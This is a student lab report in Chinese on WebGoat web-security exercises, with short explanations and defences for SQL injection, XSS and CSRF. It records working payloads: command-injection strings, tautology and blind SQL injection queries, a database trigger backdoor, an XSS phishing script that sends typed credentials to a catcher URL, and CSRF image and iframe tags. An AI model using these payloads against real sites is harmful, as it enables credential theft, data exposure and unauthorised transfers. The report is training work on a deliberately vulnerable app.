2018-2019-2 网络对抗技术 20165318 Exp 9 Web安全基础
2018-2019-2 網絡對抗技術 20165318 Exp 9 Web安全基礎
基礎問題回答
1.SQL注入攻擊原理,如何防御?
- 原理:SQL注入,就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。
sql注入攻擊是利用是指利用設計上的漏洞,在目標服務器上運行Sql語句以及進行其他方式的攻擊,動態生成Sql語句時沒有對用戶輸入的數據進行驗證是Sql注入攻擊得逞的主要原因。如:在用戶名、密碼登輸入框中輸入一些',--,#等特殊字符,實現引號閉合、注釋部分SQL語句,利用永真式實現登錄、顯示信息等目的。 - 防御:
- 關閉或刪除不必要的交互式提交表單頁面;
- 對漏洞注入點相關代碼進行關鍵字的過濾(如:利用正則表達式),以規范代碼安全性;
- 不要在服務器端放置備份的文件以免受到感染,或備份的文件含有漏洞,造成切入點;
- 將數據庫里的內容進行加密處理使其不具有特殊的意義。
- 原理:SQL注入,就是通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。
2.XSS攻擊的原理,如何防御?
- 原理:XSS:跨站腳本。攻擊者利用網站漏洞(通常這些漏洞是指網站后臺處理程序沒有很好的對用戶輸入進行過濾),輸入可以顯示在頁面上的、對其他用戶造成影響的HTML代碼;由于受害者瀏覽器對目標服務器的信任,當其訪問目標服務器上被注入惡意腳本(如:html標簽或者javascript代碼)的頁面后,這段惡意腳本可以順利執行,實現獲取用戶cookie并可以利用用戶身份進行非法操作的目的。
- 防御:
- 用戶角度:提高防范意識,不要輕易輸入個人信息,如用戶名密碼;
- 網頁制作者角度:
- 對輸入和URL參數進行過濾
- 在輸出數據之前對潛在的威脅的字符進行編碼、轉義
3.CSRF攻擊原理,如何防御?
原理:
- CSRF :跨站請求偽造。
CSRF就是冒名登錄。跨站請求偽造的核心本質是竊取用戶的Session,或者說Cookie,因為目前主流情況Session都是存在Cookie中.攻擊者并不關心被害者具體帳號和密碼,因為一旦用戶進行了登錄,Session就是用戶的唯一憑證,只要攻擊者能夠得到Session,就可以偽裝成被害者進入服務器. - 主要是當訪問網站A時輸入用戶名和密碼,在通過驗證后,網站A產生Cookie信息并返回,此時登錄網站A成功,可正常發送請求到網站A。在未退出網站A前,若訪問另一個網站B,網站B可返回一些攻擊性代碼并請求訪問網站A;因此在網站B的請求下,向網站A發出請求。但網站A不知道該請求惡意的,因此還是會執行該惡意代碼
- CSRF :跨站請求偽造。
防御:
- 驗證請求中的Token
- 驗證 Referer
- 添加加隨機驗證
- 設定cookie域
實踐過程記錄
WebGoat
WebGoat是OWASP組織研制出的用于進行web漏洞實驗的應用平臺,用來說明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,目前提供的訓練課程有很多,包含了XSS、線程安全、SQL注入、訪問控制、隱藏字段、Cookie等。
參考資料:webgoat學習筆記
也可參考WebGoat 中文手冊
- 因WebGoat默認使用8080端口,所以開啟前先用
netstat -tupln | grep 8080查看端口是否被占用,如果被占用,用kill 進程號終止占用8080端口的進程。 - 普通安裝,命令行輸入
java -jar webgoat-container-7.0.1-war-exec.jar - 瀏覽器轉:
localhost:8080/WebGoat直接用默認用戶名密碼登錄即可,開始練習
SQL注入攻擊(Injection Flaws)
1.命令注入(Command Injection)
概念:命令注入攻擊對任何一個以參數驅動的站點來說都是一個嚴重威脅。這種攻擊技術背后的技術方法,簡單易學,能造成大范圍的損害,危及系統安全。盡管這類風險數目令人難以置信,互聯網中的系統很容易受到這種形式的攻擊。
原理:在正常的參數提交過程中添加惡意代碼以執行某條指令。
目標:可以在目標主機上執行任何系統命令
操作方法:
- 右鍵點擊頁面,選擇
inspect Element審查網頁元素對源代碼進行修改,在復選框中任意一欄的代碼,右鍵單擊后,選擇Edit At Html進行修改,添加"& netstat -an & ipconfig"
- 點擊
view,可以看到執行指令后的網絡端口使用情況和IP地址。攻擊成功!
2.數字型注入(Numeric SQL Injection)
概念:注入數字型數據(如:永真式)達到注入的效果。
原理:在station字段中注入特征字符,組合成新的SQL語句。
如:SELECT * FROM weather_data WHERE station = [station]
目標:該例子通過注入SQL字符串查看所有的天氣數據。
操作方法:
- 右鍵點擊頁面,選擇
inspect Element審查網頁元素對源代碼進行修改,在選中的城市編號Value值中添加or 1=1
- 顯示所有城市的天氣情況,攻擊成功!
3.日志欺騙(Log Spoofing)
概念:通過在日志文件中插入腳本實現欺騙。
原理:在日志文件中愚弄人的眼睛,攻擊者可以利用這種方式清除他們在日志中的痕跡
目標:灰色區域代表在 Web 服務器的日志中的記錄的內容,我們的目的是使用戶名為“admin”的用戶在日志中顯示“成功登錄”
操作方法:
前提:本題目接受用戶輸入的任何一個用戶名,并將其追加到日志文件中。
利用入回車(0D%)和換行符(%0A),在 username 中填入
sxx%0d%0aLogin Succeeded for username: admin
攻擊者可以利用這種方式向日志文件中添加惡意腳本,腳本的返回信息管理員能夠通過瀏覽器看到。比如,將
admin <script>alert(document.cookie)</script>作為用戶名輸入,可以看到彈窗的cookie信息。
4.SQL 注入(LAB: SQL Injection)
Stage 1: 字符串型注入(Stage 1: String SQL Injection)
原理:通過注入字符串繞過認證
操作方法:
右鍵點擊頁面,選擇
inspect Element審查網頁元素對源代碼進行修改,將password密碼框的最大長度限制改為18。
以用戶Neville(admit)登錄,輸入密碼
hello' or '1' = '1得到所有人員列表,攻擊成功!
Stage 3: 數字型 SQL 注入(Stage 3: Numeric SQL Injection)
原理:通過注入數字型數據,繞過認證,可以通過普通員工的賬戶,查看到BOSS的用戶信息。
操作方法:
使用用戶名 Larry,密碼 larry 點擊
login登錄,點擊ViewProfile查看用戶信息
右鍵點擊頁面,選擇
inspect Element審查網頁元素源代碼,我們可以看到數據庫索引的依據是員工ID,推測返回的是每次查詢到的第一條數據。用社會工程學解釋老板應該是工資最高的,所以將員工ID的value改成101 or 1=1 order by salary desc,使得老板的信息作為查詢到的第一條數據。
得到老板的賬戶信息,攻擊成功!
5.字符串注入(String SQL Injection)
概念:通過注入字符串繞過認證
原理:基于以下查詢語句構造自己的 SQL 注入字符串。
SELECT * FROM user_data WHERE last_name = '?'
目標:下面的表格,允許用戶查看他們的信用卡號碼。嘗試通過 SQL 注入將所有信用卡信息 顯示出來。嘗試的用戶名是“Smith”。
操作方法:
- 正常情況下只能查詢到用戶名對應的信用卡號碼
- 輸入查詢的用戶名
Smith' or 1=1--(Smith 和1=1都成了查詢的條件,而1=1是恒等式,因此能查詢到表里面的所有數據) - 得到所有用戶的信用卡號碼,攻擊成功!
返回目錄
6.數據庫后門(Database Backdoors)
原理:數據庫通常作為一個 Web 應用程序的后端來使用。此外,它也用來作為存儲的媒介。 它也可以被用來作為存儲惡意活動的地方,如觸發器。觸發器是在數據庫管理系統上調用另 一個數據庫操作,如 insert, select, update or delete。舉個例子:攻擊者可以創建一個觸發器, 該觸發器在創建新用戶時,將每個新用戶的 Email 地址設置為攻擊者的地址。
目標:利用查詢的脆弱性創建觸發器。由于 WebGoat 使用的是 MySQL 數據庫,不支持觸發器,所以該課程不會真正完成。 我們的 Login ID 是 101。
操作方法:
- 輸入101,得到該用戶的信息。我們可以看到,輸入的語句沒有驗證,很容易進行 SQL 注入
- 輸入注入語句
101; update employee set salary=18000執行兩個語句
- 輸入
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='sxx@hackme.com'WHERE userid = NEW.useridBEFORE/AFTER參數指定了觸發執行的時間,在事件之前或是之后FOR EACH ROW表示任何一條記錄上的操作滿足觸發事件都會觸發該觸發器,也就是說觸發器的觸發頻率是針對每一行數據觸發一次
7.數字型盲注入(Blind Numeric SQL Injection)
原理:某些 SQL 注入是沒有明確返回信息的,只能通過條件的“真”和“假”進行判斷。攻擊者必須充分利用查詢語句,構造子查詢語。
目標:該題目允許輸入一個帳號,并檢測該帳號是否合法。使用該表單的返回信息(真或假)測試檢查數據庫中其它條目信息。我們找到 pins 表中 cc_number 字段值為 1111222233334444 的記錄中 pin 字段的數值。pin 字段類型為 int,整型。輸入找到的數值并提交,通過該題目。
操作方法:
本題目中,服務端頁面返回的信息只有兩種:帳號有效或無效。因此無法簡單地查詢到帳號的PIN數值。但我們可以利用系統后臺在用的查詢語句
SELECT * FROM user_data WHERE userid=accountNumber;如果該查詢語句返回了帳號的信息,頁面將提示帳號有效,否則提示無效。使用 AND 函數,我們可以添加一些額外的查詢條件。如果該查詢條件同樣為真,則返回結果應提示帳 號有效,否則無效。
例如:輸入查詢語句
101 AND 1=1,因為兩個條件都成立,所以頁面返回帳號有效
輸入查詢語句
101 AND 1=2,因為第二個條件不成立,所以而頁面返回帳號無效
針對查詢語句的后半部分構造復雜語句,如:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 );如果提示無效,則pin值小于5000,使用二分法,最終得出pin的值為2364
8.字符串型盲注入(Blind String SQL Injection)
原理:與數字型盲注入類似,某些 SQL 注入是沒有明確返回信息的,只能通過條件的“真”和“假”進行判斷。攻擊者必須充分利用查詢語句,構造子查詢語。
目標:找到 pins 表中 cc_number 字段值為 4321432143214321 的記錄中 pin 字段的數值。pin 字段類型為 varchar。輸入找到的數值(最終的字符串,注意拼寫和大寫)并提交,通過本題目。
操作方法:
- 與數字型盲注入類似,只是將注入的數字換為字符串而已
- 例如:輸入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'M' );取得 pin 字段數值的第一個字母,并判斷其是否比字母“M”小- SUBSTRING 語法為
SUBSTRING(STRING,START,LENGTH)
- SUBSTRING 語法為
- 同樣使用二分法進行測試,最后得到pin字段為
Jill
XSS攻擊(Cross‐Site Scripting)
跨站腳本攻擊是通過HTML注入劫持用戶的瀏覽器,任意構造用戶當前瀏覽的HTML內容,可以模擬用戶當前的操作。這里實驗的是一種獲取用戶名和密碼的攻擊。
1.XSS 釣魚(Phishing with XSS)
原理:當用戶輸入非法HTTP響應時容易受到XSS攻擊。在XSS的幫助下,可以實現釣魚工具或向某些官方頁面中增加內容。對于受害者來說很難發現該內容是否存在威脅。
目標:創建一個 form,要求填寫用戶名和密碼。將數據提交到 http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
操作方法:
利用XSS可以在已存在的頁面中進一步添加元素,包括兩部分:
- 受害人填寫一個表格;
- 服務器以讀取腳本的形式,將收集到的信息發送給攻擊者。
編寫一段腳本讀取被攻擊者在表單上輸入的用戶名和密碼信息,將這些信息發送給捕獲這些信息的 WebGoat
編寫一個帶用戶名和密碼輸入框的表格
//腳本
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
//表格
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
2.存儲型XSS攻擊(Stored XSS Attacks)
原理:這種攻擊常見于論壇等留言平臺,用戶留言的時候輸入一段JavaScript腳本,這段腳本就會被保存在數據庫中。因為是留言,所以任何用戶在打開網頁的時候,這個腳本就會被從數據庫中取出來而運行。
目標:寫入非法的消息內容,可以導致其他用戶訪問時載入非預期的頁面或內容
操作方法:
- 在title中任意輸入字符,留言板中輸入
<script>alert("I am 20165318sxx. You've been attacked!!!");</script>
3.反射型XSS攻擊(Reflected XSS Attacks)
原理:在反射的XSS攻擊中,攻擊者可以使用攻擊腳本創建一個URL,并將其發布到另一個網站、通過電子郵件或其他方式讓受害者點擊它。
目標:使用攻擊腳本創建URL,并將其寫入網站中,當讀取到該URL的時候就會被攻擊
操作方法:
- 輸入代碼
<script>alert("hhhhh You've been attacked!!!");</script>,點擊purse的同時頁面就給出了反饋
CSRF攻擊
跨站請求偽造,盡管聽起來像跨站腳本(XSS),但它與XSS非常不同,XSS利用站點內的信任用戶,而CSRF則通過偽裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊往往不大流行(因此對其進行防范的資源也相當稀少)和難以防范,所以被認為比XSS更具危險性。
1.跨站請求偽造(Cross Site Request Forgery (CSRF))
原理:跨站請求偽造是一種讓受害者加載一個包含網頁的圖片的一種攻擊手段。如:<img src="https://www.mybank.com/me?transferFunds=5000&to=123456"/>,當受害者的瀏覽器試圖呈現此頁面時,它將使用指定的參數向www.mybank.com的“me”端點發出請求。瀏覽器將請求鏈接以獲得圖像,即使它實際上是一個資金轉移功能。提交請求時,瀏覽器將添加與站點相關的所有cookie。因此,如果用戶對站點進行了身份驗證,并且擁有永久或當前會話cookie,那么站點將無法將其與合法的用戶請求區分開來。通過這種方式,攻擊者可以讓受害者執行他們不打算執行的操作,比如“購買物品”,或者脆弱網站提供的任何其他功能。
目標:向新聞組發送一封email。這個email包含一個image,其URL指向一個惡意請求。URL應該指向“攻擊”servlet,其中包含“屏幕”和“菜單”參數,以及一個額外的參數“transferFunds”,其數值為5000。可以通過在右側插入的參數中找到“Screen”和“menu”值來構造鏈接。當經過身份驗證的CSRF電子郵件的收件人將被轉移他們的資金。
操作方法:
- 查看頁面右側Parameters中的src和menu值,分別為267和900
- 在title中輸入任何參數,message框中輸入
<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=5000" width="1" height="1" />,以圖片的的形式將URL放進Message框,這時的URL對其他用戶是不可見的(寬高設置成1像素的目的是隱藏該圖片),用戶一旦點擊圖片,就會觸發一個CSRF事件,點擊Submit提交 - 在Message List中生成以Title命名的消息。點擊該消息,當前頁面就會下載這個消息并顯示出來,轉走用戶的5000元,從而達到CSRF攻擊的目的。可以從左側的任務欄看到任務已完成。
2.繞過 CSRF 確認( CSRF Prompt By‐Pass)
原理:跨站點請求偽造(CSRF/XSRF)是一種攻擊,它欺騙受害者加載包含“偽造請求”的頁面,以便使用受害者的憑據執行命令。提示用戶確認或取消命令可能聽起來像一個解決方案,但如果提示符是可編寫腳本的,則可以忽略它。本課展示如何通過發出另一個偽造的請求來繞過這樣的提示符。這也適用于一系列提示,例如向導或發出多個不相關的偽造請求。
目標:與上一個題目類似,向包含多個惡意請求的新聞組發送電子郵件:第一個請求用于轉移資金,第二個請求用于確認第一個請求觸發的提示符。url應該指向攻擊servlet,其中包含這個CSRF-prompt-by-pass課程的屏幕、菜單參數和一個額外的參數“transferFunds”,其中包含一個數值“5000”來啟動傳輸,一個字符串值“CONFIRM”來完成傳輸。您可以從右邊的插圖中復制課程的參數,創建格式為attack?Screen=XXX&menu=YYY&transferFunds=ZZZ的url。無論誰收到這封電子郵件,并且碰巧在那個時候通過了身份驗證,他的資金就會被轉移。
操作方法:
- 查看頁面右側Parameters中的src和menu值分別為270和900
- 并在title框中輸入學號,message框中輸入代碼:
<iframe src="attack?Screen=270&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=270&menu=900&transferFunds=CONFIRM"> </iframe>
- 在Message List中生成以Title命名的鏈接,點擊進入后,攻擊成功,可以從左側的任務欄看到任務已完成。
實驗總結與體會
- 本次實驗內容都是在Webgoat平臺上進行,配置環境并沒有花費太長的時間,整體來說,本次實驗很順利的完成了。Webgoat的中文手冊對每一個小實驗的原理都介紹得非常清楚,便于理解每個題目的要求。在實驗的過程中,先理解原理,再根據要求進行實驗,做到融會貫通,做好學懂!
總結
以上是生活随笔為你收集整理的2018-2019-2 网络对抗技术 20165318 Exp 9 Web安全基础的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Java中都通用文件下载(Content
- 下一篇: CCF 送货 + 欧拉路模板